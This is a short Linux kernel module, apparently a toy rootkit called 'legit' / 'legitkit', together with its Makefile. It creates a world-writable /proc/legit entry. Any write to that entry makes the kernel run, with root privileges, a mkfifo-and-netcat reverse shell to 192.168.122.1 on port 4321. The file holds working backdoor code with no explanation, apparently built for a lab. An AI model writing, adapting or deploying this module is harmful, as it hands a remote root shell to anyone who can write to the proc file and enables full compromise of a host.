legit.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/proc_fs.h>

ssize_t w_proc(struct file *f, const char *buf, size_t count, loff_t *off){
    char *envp[] = {"HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", 0x00};
    char *argv[] = {
        "/bin/bash",
        "-c",
        "/usr/bin/mkfifo /tmp/legit.pipe; nc 192.168.122.1 4321 < /tmp/legit.pipe | /bin/bash > /tmp/legit.pipe",
        0x00
    };

    printk(KERN_INFO "legitkit - pid is %d\n", current->pid);
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

    return count;
}

struct file_operations proc_fops = {
    write: w_proc
};

int proc_init (void) {
    printk(KERN_INFO "init procfs module");
    proc_create("legit",0666,NULL,&proc_fops);

    return 0;
}

void proc_cleanup(void) {
    remove_proc_entry("legit",NULL);
}

MODULE_LICENSE("GPL");
module_init(proc_init);
module_exit(proc_cleanup);

Makefile

obj-m = legit.o
KVERSION = $(shell uname -r)
all:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean